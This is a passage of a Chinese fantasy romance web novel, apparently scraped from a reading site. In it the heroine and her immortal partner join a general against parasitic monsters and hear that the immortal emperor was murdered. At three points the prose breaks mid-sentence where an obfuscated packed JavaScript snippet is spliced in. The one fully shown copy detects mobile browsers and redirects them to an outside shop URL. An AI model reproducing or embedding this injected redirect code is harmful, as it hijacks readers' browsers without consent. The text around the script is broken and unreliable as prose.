就在这时,我隐约听见穆青在外叫我的名字。我一把将那团光捏在手心,咬咬牙说,“不管了,反正抓住你了。以后别老窝在我梦里偷窥,像个变态似的。除了小青,谁都不准随便偷窥我的梦——你现在就跟我出去!” “诶、诶?!等等!你要干嘛?!” 我攥紧那团仙核,赶在它溜走前猛地一挣——醒了过来。 穆青正轻轻晃着我的肩,而我低头一看,那团光正从我指缝里拼命往外钻。 “小青小青,快!给我个瓶子!” “啊?这……这是什么啊?” 穆青凝出一片青莲花瓣,手指轻巧地捏了几下,转眼就递给我一个荷花苞似的小瓶。 我眼疾手快,“啪”地一下把光团塞了进去。青光流转,原本含苞的“荷花”渐渐透亮,仿佛下一秒就要绽放。 “喏,这是我的‘尾巴’,”我得意地晃了晃瓶子,“以后它就住这儿,随叫随到,乖乖替我干活。” 穆青端详着那盏小巧的青莲瓶,忍不住感叹,“真是闻所未闻的仙丹。寻常修仙者唯恐仙丹不稳,都藏在气海深处小心温养,你这颗倒好,活得比我们还自在。” 我拍拍瓶子里的尾巴,笑道,“它还会说话呢,聒噪吵闹。” “……”穆青愣了一下,无奈地笑了笑,随即将尾巴瓶子穿了一根红绳拴在我腰间,“照夜,好好与尾巴相处,它会变成只听你话的尾巴。” 当很久以后我明白穆青这句话中的深意时已经太迟了,或许他过早地洞悉了自己的命运,又或者他逐渐明白了,他本身就是为了某种目的而诞生。 离开灵璧城前,我在枞的背上再一次回望夕阳下的悬岛,那儿曾是我们向往的地方,是我们人生的第一个地标,可如今再看也不过如此,或许人生最大的意义并非在终点,而在路上。 一晃半年而过,我和穆青回到了月下州,用当时骗来的八万利衡币置办了一间小屋顺便做些小买卖。穆青和我认真考察了市场需求,开始炼制白肤美体丹,毕竟无论什么时候女人的钱都绝对好赚。 月下州比之灵璧城亦或映山都要繁华热闹得多,这儿位处三界中央,城阙巍峨,坊巷纵横,商旅辐辏,舟车如织,人,仙,魔交杂混居和谐共处,共同建造了这庞大而恢宏的月下州。 遥遥可见皇宫伫立北山之下,极尽富丽堂皇奢侈靡费,凡人的君王舒仲便居住在那里。 这天穆青出门去采购炼制丹药的药材,只有我一个人在不大的档口守着。 隔壁卖香菇包子的东婶今天很是高兴,闲聊下我才知道她从军的儿子今天要回来,所以她才如此高兴催促着她的相公去市上买鸡鸭鱼。 说来之前我与穆青在玉山消灭了一个无相孽后,怪物的入侵陷入了迟缓状态,甚至有退缩之态势,大军趁机将战线向前推了二十里,算是有了大收获,这才有前线将士归家探亲一事。 “咱们也去凑个热闹,去迎迎灭妖大将军!” “啊?舒岸将军也回来了?” 街上人头攒动,欢呼不断。我被人群推搡着,终于看见高头大马上那位英武的将军。 大半年不见,舒岸依旧威严凛凛,脸上却不见半分喜色。他紧锁眉头,目光沉郁,与四周沸腾的欢庆格格不入。 这位至今仍未成亲的大将军深得月下州女子们的倾慕,有些狂热的崇拜者激动之下竟然晕厥在地,甚是夸张。 我看了会儿觉得无趣,便与东婶告别打算先回家去。 走到巷子中时腰间的小瓶子跳了两下,尾巴笑嘻嘻说道,“听说人君给舒大将军挑选了三十八位美人,也不知哪位佳人能入他的法眼。” 我将温热的瓶子拿在手中晃了晃,“你天天到处偷听,那你说说小青是不是有事瞒着我。” “嘿嘿,那你算是问对了人,哦不,问对了尾巴。”光在瓶间翻涌,像是一个急于分享自己秘密见闻的小孩子,按捺不住激动的心,“仙宫不满他出言顶撞,把他列入了非信任名单,导致他数次想面见人君都被回拒。也是,人君还指望着依凭仙界的力量对抗怪物呢,怎么可能把区区一个沦为散仙的青莲放在眼中。” “他竟然瞒着我,他不过想为除掉无相孽出份力罢了,为何人君却不领情。” “你好歹是凡人,怎么连人间最起码的生存规则都忘了,说到底无非是权衡利弊趋利而往罢了。人君又不傻,何必去得罪即将登临仙帝之位的渊寂呢。准许青莲觐见事小,坏了与仙宫的关系事大,人君之所以能成为人君,怎可能没点运筹帷幄高瞻远瞩的本事。” 这半年来我与尾巴的关系亲近了不少,它好像习惯了在瓶中生活,甚至有些喜欢这个小窝,于是穆青便将瓶子改造了一番,仅仅在上端留了一处扎绳,偶尔我会像今天一样把尾巴倒出来让它自由玩耍。 这团轻柔的光探出脑袋,顺着我的手指窜到肩膀上,在我耳边小声嘀咕道,“如何,好机会来了,你们于灭妖大将军有救命之恩,若拜托他说不定可以见一面人君,毕竟三界之中谁人不知他兄弟既翕,和乐且湛。” “你说得有道理,咱们回家等小青,然后一起去见舒岸将军。” 尾巴呲溜一下跳到我掌心,抱着我的大拇指蹭了蹭,“小青回来得迟,你可以先去,舒岸见到你必定欣喜万分。” 我思索片刻,反正闲着也是闲着不如先去一趟。 穆青不断进言劝诫仙宫早做决断抗击那些怪物,又屡次想面见舒仲商讨前线战事必定是在玉山那头发现了什么。 或许无相孽,瘴母神这类怪物不像众人想象的那么容易被消灭。 等我回家骑着枞出发去城西舒岸的宅邸时,这个大将军已经到家了。还以为进门要得费上一番功夫,怎料我在门口便遇到了一个熟面孔。 朝明,他亦随舒岸将军回到了月下州。 一眼便认出了我,朝明有些惊诧地迎了上来,“照夜姑娘,是你!” “我来找大将军,请问他有空吗?” 朝明二话不说把我引进门,“当然,当然!自上次一别后大将军一直想再见您一面。” 尾巴悄悄藏在我耳边的碎发间,笑嘻嘻道,“你看我说什么来着,男人这点心思,就是天要塌了脑子里的某一处也会想女人,啧啧啧。” 我一把拽住尾巴塞进了瓶子里,嗔道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舒岸拧着眉头,低头沉思片刻说道,“今日仙界有仙使来访,青莲仙人会不会想借此机会面见君上?” “敢问这位仙使的仙名是——” “是萤火仙人,宋莹。” 我心一沉,舒岸的猜测还真有可能是对的。 萤火仙人成仙也晚,因不善言辞不喜外交反倒与穆青合得来,她也是为数不多愿意与穆青来往的仙人。若是她作为仙使前来,穆青得知了消息很有可能会请她引荐面见人君。 “我正巧要进宫去一趟,照夜姑娘不如随我一起?” 有这种好机会我自然不会推脱,随即便跟着舒岸策马进了守卫森严的皇宫。 仙使下榻的引仙殿在西北侧,只见十数银甲仙军驻守在殿前,舒岸禀明来意后便与我等待仙军前去通传。 我心中惴惴不安,在门前踱步,焦急地等待张望着。舒岸略有些用力地按住我的肩,示意我镇定。 不一会儿,我与舒岸跟随仙军进到殿中,七拐八绕后只见一个熟悉的身影伫立在院中,我忙不迭跑了过去一把搂住男人的腰,“小青!你果然在这里!” 穆青有些惊诧于我的出现,他扫了一眼舒岸似是了解了缘由,揽着我小声道,“天热,乱跑什么。” “你才是,有什么事总瞒着我。” “哟,这不是照夜嘛。许久不见。” 从屋里施施然走来的女子一身素白衣衫,乌发自肩头流泻而下,衣袂好似流云,肤白有若凝脂,她掩嘴微笑看向舒岸,“舒将军,听闻您才刚回朝,如此匆匆可是有什么急事?” “照夜迟迟不见青莲仙人归来心急如焚,这才带她前来,如有冒犯还请您恕罪。” 宋莹抬抬手,笑道,“无妨,我也正与青莲叙旧,二位请进。” 穆青拉着我走在廊下,轻声道,“别担心,我不会有事。” “你想面见人君的事尾巴告诉了我,它建议我去找舒将军试试,后来又听闻萤火仙人来了,这才一同来找你。” “嗯,我知道。”穆青摸了摸装着尾巴的小瓶子,好似在夸赞它,“虽然多事了些,但还算聪明机灵。” 得了表扬,尾巴恨不得冲出瓶子缠在穆青身上狠狠抚蹭,说来奇怪,尾巴虽然很喜欢穆青,但并不会当着他的面说话,今天这个场合它更不可能开口了。 我盯着宋莹的身周谨慎观察,搞不好百目仙人的法眼就在附近监视。 在凉亭中入了座,宋莹的大弟子竺可上了茶,因是旧相识,她冲我笑了笑,特地给我端了一碟蜜杏干吃。 我原本以为要商议讨伐无相孽这些怪物的事儿,没曾想三人却说起了不相干的事。 那便是此次宋莹前来的主要目的,是邀请人君舒仲前往灵璧城参加三个月后的仙帝登位大典。 15. 第15章 钩星或已不是完整男人 “青莲,届时也邀你观礼,请务必谨言慎行。”宋莹嗓音清泠,不疾不徐地续道,“上仙对你已极为不满,早有仙人提议削去你的仙籍。若非渊寂仙君为你多次周旋,你此生恐怕再难踏足仙界。” 穆青静默不语。 一旁的舒岸却低笑一声,语带讥诮,“原以为仙人修行,求的是超脱生死、长生久视,或为天人合一的大道。没成想,竟也免不了争权夺利、党同伐异,实在令人唏嘘。” 面对舒岸的冷嘲,宋莹连眉梢都未动一下,只慢条斯理地轻呷了一口茶。 “舒大将军,我成仙已两百载,三界盛衰,早已司空见惯。百年前长烬海枯竭、映山都焚灭,谁又能料到今日魔界竟重现盎然生机?凡人寿数有限,难免为眼前生死所困。可在更漫长的光阴尺度上,生与死,盛与衰,不过是生命流转的不同姿态罢了。” 舒岸面露愠怒之色,拳头已不自觉捏紧了,“萤火仙人,你的意思是死在玉山前线的将士们命如蝼蚁毫无价值,他们为守护家园亲族浴血奋战根本是画脂镂冰劳而无功?那我问你,我手下死去的三千六百七十二名将士,究竟是什么。” 宋莹依然唇角含笑,一双明眸灵动潋滟,吐出的字眼却冰冷得不带一丝活气,“只不过是充盈天地间仙气的——耗材罢了。” 尾巴最先感受到敌意,已骤然弓起。而穆青更快——舒岸剑锋未完全出鞘,已被他徒手抵住刺向宋莹头的刃尖。 “舒将军,多谢仗义执言。你镇守玉山,身心俱疲,此番回来,正好借相亲之机好生休整。改日我与照夜再登门拜访。” “是呀舒将军,咱们先回吧。”我顺势挽住舒岸紧绷的手臂,将这尊濒临爆发的杀神轻轻带离这无声的战场。 直至送他出引仙殿,我才长舒一口气,背后竟惊出一层薄汗。 “抱歉,让你见笑了。等这两天我去见过哥哥,再邀你与青莲兄弟一聚。” 我走到马下,昂着头对舒岸说道,“即便仙界不愿驰援,小青也绝不会对人界灾祸袖手旁观。只是或许……事情比我们想的要复杂。” “多谢。你与青莲至纯至善,能与二位相识,是舒某之幸。改日再会,告辞。” 目送舒岸策马远去,我心绪沉沉。 忽然后肩被人重重一拍,竺可清脆的笑声在耳边响起,“照夜!好久不见!” “是啊,上次对饮,竟是六年前了。” 没错,竺可是我的酒友,关于飞逍的种种秘闻,多半是从她这儿听来的。只是如今飞逍已投入渊寂门下,物是人非。 我与竺可在花园中边走边聊,能听出她对飞逍“叛出师门”的行径颇为不齿,可言语间,又不自觉流露出一丝羡艳——毕竟渊寂将登仙帝之位,追随他的飞逍,即便只是座下第七弟子,亦今非昔比。 我趁机打听牧狸的近况。竺可冷哼一声,语气带着几分不屑与惋惜,“她可就没飞逍那般好运了。修为不济,如今也只能在飞逍手下打打杂,日子未必好过。” “唉,早知如此,当初还不如去赤羽那儿。”我叹道。 竺可闻言大笑,“赤浪仙人?他那位夫人是出了名的善妒,身边稍有姿色的女仙早被清理得一干二净。要我说,牧狸那般处境,倒不如干脆退出仙门,回人界做个逍遥自在的普通人。”她话锋一转,脸上浮现一丝疑虑,“不过……眼下人界也未必安稳。听说玉山那边出现的怪物,连仙军都难以应付,可是真的?” “嗯,仙力对那些怪物没用。” 竺可打了个寒颤,下意识地搓了搓手臂,“还好仙界尚无此等邪物。即便真有,也自有上仙们去应对,我们这等小角色,能苟安一时便是一时。” 她这话说得轻松,我却听得心中百感交集,一时无言。抬眼望去,穆青仍在与宋莹交谈。 那位已晋升玄珠位阶的萤火仙人,似乎早已失了过往的平易近人,竟能对刚刚失去众多袍泽的舒岸说出那般冷酷之言。 或许在高高在上的仙人们眼中,人界的劫难,或许并非什么大事。 我又默默等候许久,直至夕阳西沉,将引仙殿的影子拉得老长,穆青才带着一身掩不住的颓丧之气,与我一同离开。 归途上,他异常沉默,仿佛整个人都沉浸在一片无形的重压之下。 直到推开家门,步入昏暗的庭院,他才突然开口,声音低沉,“照夜,你喜欢现在的生活吗?即便……这只是暴风雨前短暂的平静。” 我在渐浓的夜色中凝视着他依旧明亮的眼眸,没有立刻回答,而是转身,熟练地点亮了桌上的灯盏。 温暖的灯光驱散了黑暗,也映亮了他的脸庞。 “我从小的心愿,就是能什么都不用操心,安安稳稳地享福。但这绝不意味着我害怕与你共同面对风雨。小青,我确实渴望平静的人生,但我更渴望的,是与你一同度过的人生。无论前方是坦途还是荆棘,是平静还是危险,只要与你一起,我都不怕。” 话音未落,穆青已伸手将我紧紧拥入怀中,声音带着一丝哽咽,却又异常轻柔而坚定,“好……那我们就走自己的路,做我们该做的事!” “所以,不要总是什么事都瞒着我。”我捧住穆青的脸,问道,“你究竟在无相孽的巢穴里看到了什么,让你如此害怕。” 这天半夜,万籁俱寂。我与穆青再次秘密会见了舒岸。 在摇曳的烛火下,穆青终于将深藏心底的恐惧和盘托出。 我们上次拼尽全力消灭的,仅仅是无相孽的一具分身。它的本体远比我们想象的更为庞大、更为古老,潜藏在幽深的地底深处。 而它感染生灵的方式,也极其诡异阴毒。与依靠吞噬孵化来繁殖的瘴母神不同,无相孽是通过散播自身的一部分——一种如同菌丝般的物质——来寄生和控制宿主,以此悄无声息地壮大自身。 “那些菌丝会通过接触寄生,逐渐异化宿主的身体与神智,而被控制的人……他们并非失去意识,反而会保有清晰的思维,善于伪装,混迹于常人之中,直到时机成熟,便成为孕育新怪物的温床。”穆青的目光沉重地落在舒岸身上,顿了顿,才继续道,“舒将军,你之前……便是被那菌丝寄生了。它影响了你的心智,驱使着你将照夜引入巢穴深处。对于当时的具体情形,你可还有印象?” 舒岸下意识地摸了摸自己的胸膛,那里似乎还残留着被异物侵蚀过的幻痛。 他长长叹了口气,脸上写满了后怕与愧疚,“当时……我心中只有一个念头,便是无论如何也要找到怪物的老巢,将其彻底铲除。全然未曾察觉,自己的意志早已被那无相孽操控了……” 穆青垂眸凝视着杯中晃动的酒液,仿佛那琥珀色的液体里藏着无尽的秘密。 他的声音压得很低,像怕惊扰了夜色,“这正是无相孽最令人胆寒之处——它会观察、学习,甚至模仿猎物的行为。所以我判断,它们并非放缓了攻势,而是转变了策略…它们学会了伪装,已经悄无声息地渗透过了玉山的铁棘屏障。” 舒岸手中的酒杯猛地一晃,酒水溅出几滴。他脸色瞬间惨白,难以置信地望向穆青,嘴唇不受控制地轻颤,“青莲,你的意思是…无相孽已经潜入人界了?” “不止如此,”穆青抬眼,目光凝重,“我怀疑它们的本体早已不在玉山之外。真正的母体,恐怕已在人界的某个角落悄然扎根。玉山以南那个被我们摧毁的,不过是一处为本体积蓄能量的分巢。”他顿了顿,让这个可怕的事实沉淀片刻,“这些怪物以仙力为食,可笑的是,它们自身无法转化吸收天地间的仙力,只能通过寄生或吞噬修炼者来获取。这也就是为什么仙力对它们无效——我们的攻击,反而成了它们的养料。” 我只觉一股寒意从脚底直窜头顶,不自觉地看向舒岸。 他曾被那可怕的菌丝寄生,虽然后来清除了,但一想到曾有异物潜伏在他体内,仍让人毛骨悚然。 这个念头让我突然意识到自己的处境——我不也正是一枚仙丹的容器吗?我的体内,同样存在着不属于自己的东西。下意识地,我捏紧了手中的玉瓶。 躲在瓶中的尾巴似乎感应到了我的情绪波动,瑟缩着躲到了角落。 罢了,至少这条尾巴无法操控我的意志。若真到了那一步,哪怕剖心剜骨,我也定要把它取出来。 “青莲,这些情况…你可曾向上仙们禀报?” “嗯,可惜没人在意我的话,比起这个,他们更关心位阶晋升,口碑排位,以及谁能出任新任仙帝。” 舒岸自嘲地笑了笑,仰头将杯中酒一饮而尽,辛辣的液体似乎让他平静了几分,“也是,大多数上仙都经历过百年前的仙魔大战。在他们看来,三界的兴衰不过是循环往复,人界的存亡更是渺小如尘。难怪萤火仙人会说出那番话…当生命漫长到看不见尽头,时间会磨损身为人感受生命本真的能力。” “舒将军。”穆青握紧我的手,面带微笑说道,“不必纠结于仙魔对生命的看法。我们只需做当下该做之事,但求俯仰无愧于天地,扪心无愧于己身。”他转头与我相视一笑,“我已与照夜商量好了,即便渊寂登基后仍不愿驰援人界,我们也会以自己的方式助你一臂之力。” “嗯,我和小青愿意助您一臂之力。” 舒岸眼中泛起泪光,喉结滚动了几下,半晌说不出话。 他突然起身,命侍从取来三只海碗,亲自斟满烈酒。端起一碗,他声音哽咽却铿锵,“我舒岸此生能结识二位,死而无憾!今日便以这碗酒立誓,邀明月为证——从今往后,愿与二位同进退,共生死。纵使天倾地覆,山海倾颓,此志不改!” 虽说打定了主意,但我和穆青的生活暂时没有太大变化。我们商定,待到仙帝登基大典那日,要在众仙与人君面前,做最后一次恳请。若依旧没有回应…那我们就走自己的路。 这天我正在家中分拣药材,准备炼制一批“白肤美体丹”,忽听得朝明在外头唤我。他闲来无事在街上买点东西,正巧转悠到我的档口。 穆青这些时日只要得空,便与舒岸商讨对付无相孽的对策,常留我一人看家,此刻有人来说话,我心情顿时明朗起来。 “啊?你是说三十八位闺秀,舒岸将军一个都没相中?”我手上拣着花瓣,好奇地追问。 朝明热心地帮我捣着药杵,连连点头,“可不是嘛!连太师家的施斓小姐都被回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我走近几步,打量着二人,心有不悦,“你们修炼为什么不告诉我,我又不会捣乱。” 穆青伸手揉了揉我的头发,笑道,“美体丹做好了没,你又偷懒。” “不做了不做了,整天不是捣药就是看火,手又酸又痛。” 穆青握着我的手腕揉着,安慰道,“那今天休息。” 见我有些不爽地盯着自己,舒岸连忙披上外衫,笑道,“对不住啊照夜,我是趁这段空闲,请青莲指点我如何运用仙力。要不——你也一起来学?” 自从我被确认没有灵关窍后,就再也没有跟着穆青修行。 修仙的第一步,便是静坐冥想,感知天地间仙气的流动。光是这一步,就难倒了绝大多数人。 说白了,“空气”该如何去感受?虽然人人生来就会呼吸,却很难真正感知到空气本身。 于是大多数人在修仙伊始都会借由流动的空气——风来感知仙力,所以初级修仙者多数会选择空旷有风的地方打坐。 我天生便没有灵关窍,即便感知到了仙力,也无法引其入体,更谈不上主动释放仙力。这也导致我只能通过那种特殊的方式,将仙力渡给穆青。 幸好尾巴渐渐习惯了与我共存,不再无节制地吞噬仙力,否则我体内日益充盈的仙气,怕是迟早要炼化出第二条尾巴来。 舒岸其实早年便已开启灵关窍,偶尔也能凝炼、操纵一些基础仙力。但他自幼对仙人群体缺乏好感,连带着对修仙一事也颇为不屑,这才一心锤炼□□武技,并未在仙力修炼上多下功夫。 如今为了应对无相孽的威胁,他不得不重新拾起这份力量——即便无法直接用以诛杀怪物,若能娴熟操控重物辅助作战,也是极大的助益。 我自然没什么修炼的积极性,更无此必要,索性躺在一旁的树荫下,看舒岸不厌其烦地尝试凝聚仙力。 经过不同修行者炼化的仙力,往往会带上鲜明的个人特质,赤羽的仙力如浪潮汹涌,钩星的似迷雾缥缈,宋莹的若萤虫飞舞,而穆青的则如花瓣轻扬。 至于舒岸,他连修仙的门槛都尚未迈入,仙力形态自然还看不出端倪。 “如何?好看吗?” 不知何时偷溜出来的尾巴耷拉在我耳边,故意蹭着我的耳垂,带来一阵微痒。 “什么好看不好看的?” “啧啧,舒岸可是把肉身锤炼到了极致。单论体魄强度,怕是许多上仙都难以企及。你看那身肌肉线条,流畅、紧实、饱满,真是赏心悦目。” “你这个下流的尾巴,话说你有性别吗?” “当然有,听我的声音也知道我不是女性吧?笨蛋!” 我把尾巴从肩上拽下来,捏在指尖仔细端详——这团连五官都看不清的小东西,居然自称有性别。 一想到我身体里的仙核性别为男,我就一阵阵发毛。 “你居然会在意这个?”尾巴扭了扭,语气带着几分戏谑,“再说了,你的身体重塑时混入了一部分钩星的碎屑,严格来说,你也不算纯粹的女人了。” “呸呸呸!闭嘴!” 这件事我至今没敢告诉穆青。如果他知道了我和从前的“照夜”并不完全相同,还会喜欢我吗? “往好处想,”尾巴幸灾乐祸地晃了晃,“钩星现在也不算完全的男人了呀!哈哈哈——” 16. 第 16 章 煌木死于渊寂之手? 这尾巴笑得乱颤,性格实在恶劣,可不知怎的,我也被它逗得跟着笑了起来。不由得想起钩星——那个牙尖嘴利、总冷着一张脸的家伙,不知如今怎样了。 渊寂说他正变得越来越强大,或许以他现在的实力,已经可以独自劈开长渊了。 天色渐渐暗下,穆青轻轻拍了拍我的脸,将我唤醒。 眼前的篝火正旺,烤野兔的香气四溢,油脂滴落火中滋滋作响。知道我这几天胃口一般,穆青特意摘了些新鲜的野桃递给我。 他们二人似乎正聊到面见人君舒仲的情形。 在舒岸的引荐下,穆青终于得见这位人君。 与舒岸的武将气质截然不同,舒仲儒雅睿智,待人诚恳。他并未敷衍穆青的请求,而是坦诚道出了自己的难处。 原来,因仙军对抗怪物成效不彰,舒仲采纳太师建议,向魔界购入一批熠石,用以强化前线将士的兵器。这一举动却触怒了当时的仙军统帅——玄珠仙人星允,直接导致仙军撤离。 仙界不满人界与魔族往来,才在驰援一事上诸多敷衍;而舒仲面对这般两难局面,也确实进退维谷。 听到这里我问穆青,仙界和魔族还会打仗吗? “若牺牲毫无意义,那战争便只是掌权者的恶趣味罢了。”穆青拨弄着篝火,火光在他沉静的侧脸上跳动,“说到底,三界本可相安无事,百年前那场大战,亦是如此。” “战争的目的无非是掠夺资源,而权力本身,就是一种资源。”舒岸修炼整日,早已饥肠辘辘,一边大口吃着兔肉一边说道,“魔族在人界生活的百姓不在少数,本不是什么稀奇事。若真要说有什么不同,那就是他们确实……很能生。我麾下曾有个魔族副将,名叫迩松,十年间生了十个娃。” “……迩松?魔皇的臣下?” 舒岸一愣,随即恍然,“原来他回魔都去了。他是个难得的人才,没能将他留下,实在可惜。” 我对迩松没什么好感,他对我的敌意也显而易见——在他眼中,我占有了本属于魔族的仙丹。尽管从某种角度说,这确是事实。 “话说回来,照夜,”舒岸话锋一转,目光落在我身后,“你这条尾巴……究竟是什么来头?” 舒岸问着,斜睨了一眼我身后的尾巴,我这才惊觉尾巴露了出来,抓起尾巴尖扇了数下。 穆青见状大笑,阻止我对尾巴施暴,指尖温柔地抚过那已悄然缠上他脚踝的尾尖,轻声道,“这是照夜的保镖,这一生只有一个任务,那就是保护她陪伴她。” “看来照夜也有一段不凡的际遇。”舒岸会意一笑,不再多问。 吃饱喝足,他又独自走向高处,在夜色中静坐。 “仙力又快满了。”穆青将我拉到身边,嘴唇贴着我的鼻尖道,“有三四天没有亲热,今晚就在野外将就一下。” 我搂住穆青的脖子笑道,“我难受好几天了,但又不好意思主动央求你帮帮我。” 青莲花瓣逐渐将我和穆青笼罩起来,缝隙外只见月光,穆青吻着我的唇角,低声道,“傻瓜,只要你需要我随时在,我恨不能每天都抱抱你,可我总是怕,怕你会反感逃避。” “是因为第一次我逃跑了所以你才怕么。” 逐渐感受到了仙力在交融,金色的光缓缓渗入穆青的身体里,他的呼吸逐渐急促,腰身不由自主挺了起来,“照夜,我该怎么告诉你我有多爱你。” 花瓣舒展,我与面前这个男人置身于天地之间,耳边是夏夜濡湿潮热的风,是热烈纠缠的仙力,是铺满山涧茂林的月光,我抱紧穆青,望着他清明澄澈的眼眸,身体里的仙力在沸腾,“我知道,我知道,我也一样小青,我也一样。” 舒岸的修行进展甚微。 感知仙力需要极致的专注,而在瞬息万变的战场上,根本不存在绝对安全、无干扰的环境,更别提还要分神去凝炼并维持仙力的稳定形态了。 这日,萤火仙人差遣她的萤虫传来消息,说有要事相商,穆青便先行返回了月下州。 我闲坐在溪边,百无聊赖地用手指拨动着清凉的溪水,尾巴也有样学样地拍打着水面。 不远处的舒岸仍在尝试用仙力拾起石子,收效甚微。尾巴见状,竟炫耀似的在他面前打了个漂亮的水漂,姿态很是得意。 舒岸辛苦了一上午却一无所获,满身是汗,望着我那灵动的尾巴有些出神。 他的一支亲兵小队这些天一直在外围等候差遣,朝明见他停下休息,连忙递上热茶,并细心地将外衣披在他肩上。 山间林木葱郁,甚是凉爽,尤其在晨昏时分甚至有些寒意。 舒岸走到我身边,带着几分好奇与试探问道,“照夜,我能否……摸摸你的尾巴?” 我还没来得及回应,尾巴已自作主张,亲昵地缠绕上舒岸结实的小臂。舒岸只是用指尖轻轻戳了戳,那尾巴便如受惊般倏地缩了回来。 “好奇特的触感,”他沉吟道,“我还是头一次见到如此凝而不散的仙力实体,视觉上似有胶质,触碰时却又如风般难以捉摸。” 朝明极有眼色,也赶忙为我斟上一杯热茶,附和道,“将军说的是!初见照夜姐姐这般形态时,我们都惊呆了,还以为是何处来的妖兽。” “话说之前有没有三个家伙来向将军你要钱?” 舒岸闻言笑道,“你不提我倒真要忘了。确有两女一男前来,说是为未能如期交付三千仙丹之事特地登门赔罪。” 我立刻来了兴致,催他快讲。 “他们解释,那批仙丹在映山都极为抢手,被魔皇出了高价全部收购了,这才导致空手而来。想必是担心因此影响了战事,态度倒还算诚恳。” 什么?!这话如同当头一棒,震得我脑中嗡嗡作响。 原以为那几个小骗子会在魔界碰一鼻子灰,谁曾想钩星这家伙竟如此“捧场”! 可恶!真是可恶!怎能眼睁睁看着这帮小兔崽子坐享其成?想到这里,我只觉一股闷气堵在胸口,眼前发黑,身子晃了一晃。 舒岸赶忙伸手扶住我,“天气热,要不你先回去休息?” “我不,小青在哪儿我就在哪儿,你别想和他独处。” 舒岸愣了一下,有些摸不着头脑。反倒是朝明一惊,疯狂向我眨眼睛生怕我把外界谣传说了出来。 等舒岸继续努力练功去,朝明抹了一把汗,小声道,“姐姐你别说,之前青莲仙人在玉山那头独自行动时也与将军匆匆见过数面,将军确实对他十分在意。” “休想打小青的主意,他是我一个人的。” 我盯着仍在努力凝聚仙力、试图操控那颗顽石子的舒岸,心头莫名烦躁。 待到暮色渐浓,仍不见穆青归来,我开始坐立不安。反倒是舒岸这个修炼起来不知疲倦的,并未觉得有何异常——毕竟只是仙使召见,又是在人界地界上,想来不会出什么岔子。 见我越发焦灼,舒岸当即决定带我回城。 谁知行至半路,便遇上了穆青,他身边还跟着一个陌生面孔。 舒岸一见那人,竟脱口惊呼,“振岳爷爷?怎么是您?” 只见一位长发高束、精神矍铄的中年男子利落下马,大步流星走到舒岸面前。他周身散发出的威压竟让平日里威风八面的舒大将军也不由自主地缩了缩肩膀,气势顿时矮了半截。 那被称作“振岳爷爷”的男人先打量了舒岸一番,随即目光锐利地转向我,声如洪钟,“舒仲火急火燎地把老夫从未湖召回来,说你成天只知道打仗,终身大事迟迟不定!我还当是什么天大的难题——这不,身边不是有个丫头么?何时成亲?也好让你哥哥安心!” 穆青连忙上前把我拉到身边,有些无奈,“振岳仙人,照夜是我的。” “爷爷!您真是……”舒岸涨红了脸,急忙打圆场,“照夜和青莲才是一对。此事说来话长,咱们先回府再细说。” 一起回到舒岸的将军府邸,众人摆了酒菜,这才将今日发生的事儿说清道明。 这仙名振岳的仙人是舒仲与舒岸两兄弟爷爷的亲哥哥,早早便修仙去了,居住在未湖,他是新朝皇族中唯一一个修成仙的人。 他今日来是因舒仲请他来规劝舒岸早日成亲生娃,恰巧遇到了穆青,二人便在引仙殿与宋莹叙旧到天黑。 趁振岳批评指点舒岸时,我小声问穆青他认识振岳,为何我却不认识。 说来仿佛也不奇怪,自穆青占了青莲山头后我便躲在青莲瑶池享福,除偶尔下山在镇子里逛逛与竺可们喝喝酒外便很少出门。 可穆青不一样,他晋升上仙后应酬便多了起来,认识的人更是多得记不清。 “你们三人说了什么?” 穆青搂着我的肩,目不斜视地吃菜喝酒,“等会儿再说。” “百目仙人的法眼在?” “嗯,一直都在。” “遭了,岂不是我们亲热时也被她看到了?” “哈哈,你知道百目还有个别称叫洗目仙人,她天天看到的不堪入目的画面多了去了,咱们亲热算什么。” “咦,不堪入目,到底有多么不堪?” 穆青凑近我的耳朵,说话的间隙轻轻咬了一下我的耳垂,“小傻瓜,你不需要知道那些肮脏事儿。” 因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549482|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不堪入目这四个字,让我一晚上都在浮想联翩。 说老实话我和穆青十几岁的年纪便已经懂事,毕竟村里的男男女女总喜欢钻小树林,听到什么看到什么都不稀奇。 我们第一次亲嘴,就是在一次偷窥之后。 我仍旧记得那个无星无月的秋夜,村里有名的大厨刘大嘴垂涎隔壁王寡妇已久,经过数月孜孜不倦地示好,他终于有机会一亲芳泽。 我与穆青躲在茂密的草丛间,只见二人纠缠间赤裸以对,唇齿相交,穆青汗湿的手紧紧握着我的,他明亮好看的眸子被一种名叫情欲的东西染成了深色。 柔软的嘴唇轻轻颤抖着,舌尖像灵巧的小蛇顶开了我的牙关,唇齿间弥漫着一股石榴汁的清甜味道,一股莫名的力量将我们粘合在一起无法分开,直到嘴巴亲肿了才回过神来。 思及往事,穆青的身影依旧那么清晰,他的手也一如现在般温暖。 然而,深夜后,在竖起的隔离屏中,振岳仙人说的话却穿云裂石震慑人心,他此次来,带来了一个秘密。 苍珠,仙帝煌木是被人杀死的。 “啊?振岳爷爷,你这么说可有凭证?” 饮了酒的老仙人虽面貌不过四五十岁,实则已近两百寿数——尽管在仙界,这年纪仍算年轻。他重重放下酒杯,目光如炬,“煌木遇害前自知大限将至,特托梦于我,道出实情。” 我不由看向穆青,他眉宇紧锁,对振岳所言显然深信不疑。 